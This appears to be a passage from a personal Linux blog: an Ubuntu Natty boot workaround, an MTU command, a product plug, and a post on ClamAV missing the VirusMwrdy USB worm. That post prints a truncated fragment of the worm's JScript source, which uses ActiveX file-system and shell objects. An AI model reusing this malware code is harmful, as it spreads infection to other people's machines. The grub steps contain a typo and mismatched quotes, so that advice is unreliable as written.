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Ubuntu Natty workaround for Acer Aspire 4736 (Intel GMA 4500)

Only thought that only me having this weird problem. 

Symptoms:

Upgrade/New Installation to Ubuntu Natty (11.04) will result a blank screen after grub. You can hear the login sound but screen is blank.

Workaround 1 (if you can enter ubuntu)

• Boot into failsafe mode and select boot in failsafe low graphic session. It will boot to low graphic sessions.
• Edit grub (sudo nano /etc/default/grub), add “acpi_ios=Linux” at line says:
• GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash “acpi_osi=Linux”
• Edit rc.local (sudo nano /etc/rc.local), add “setpci -s 00:02.0 F4.B=00” just before exit 0

• At grub loader screen, press “e” and add “acpi_osi=Linux” after quiet splash
• Press F10 and boot

How to change MTU size in Linux (all flavors)

A note to self.

We have a vpn issue where it is connected but can do nothing(ping etc.). Boss gave an idea maybe some MTU because of previous incident we have.

Fire up terminal.

/sbin/ifconfig usb0 mtu 1492 up

Viola, it can ping and even load some java apps on webs.

Sampul Duit Raya Linux

Wow, this is new. From the creator of Jomlinux.com, they have created a cool  products: Sampul Duit Raya Linux. and it is cheap also.

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ClamAV not detect VirusMwrdy

This morning , my brother tell me that, his laptop is infected by a virus called VirusMwrdy. I gave him HijackThis and KillBox program to delete those autorun.inf file and VirusMwrdy.js. I plug my thumbdrive to my brother laptop and of course it also got infected.

To my suprise, I plug my thumbdrive to my laptop and run freshclam, to update my clamav and run clamscan, but nothing is detected

sicksand@sicksand-laptop:/media/KINGSTON$ clamscan

/media/KINGSTON/VirusMwrdy.js: OK
/media/KINGSTON/AutoRun.inf: OK
/media/KINGSTON/SpaQ - The Novel.html: OK

—————- SCAN SUMMARY —————-
Known viruses: 283588
Engine version: 0.92.1
Scanned directories: 1
Scanned files: 44
Infected files: 0
Data scanned: 1191.16 MB
Time: 579.132 sec (9 m 39 s)

here are some of the source of those file
VirusMwrdy.js

MwrdyText = MwrdyText + “alert(‘HEY YOU..’);”
MwrdyText = MwrdyText + “alert(‘Ohoo.. SpaQ la konon..’);”
MwrdyText = MwrdyText + “alert(‘Wanna know something?’);”
MwrdyText = MwrdyText + “alert(‘Virus Mawar is back and its attacking ur system!’);”
MwrdyText = MwrdyText + “alert(‘Better format ur computer baby.. Adios!!’);”
MwrdyText = MwrdyText + “alert(‘Oh yeah… mail me.. carboflux@yahoo.com’);”
MwrdyText = MwrdyText + “”
MwrdyText = MwrdyText + “Oh my… aku benci sgguh tgk cter SpaQ yg pnuh kegedikan anak2 muda tu.. hmm.. insafla.. hey.. aku pun insaf jgk…sb 2 wat virus ni “

var fs = new ActiveXObject(“Scripting.FileSystemObject”);
var ThisPath = fs.GetFile(WScript.ScriptFullname);
var check = ThisPath.Drive.DriveType;
var WinPath = new String(fs.GetSpecialFolder(0)); // Windows Folder
var SysPath = new String(fs.GetSpecialFolder(1)); // System32 Folder
var aShell = new ActiveXObject(“WScript.Shell”);

// Open the explorer if double clicked
var aArgs = WScript.Arguments;
for (var i = 0; i utorun.inf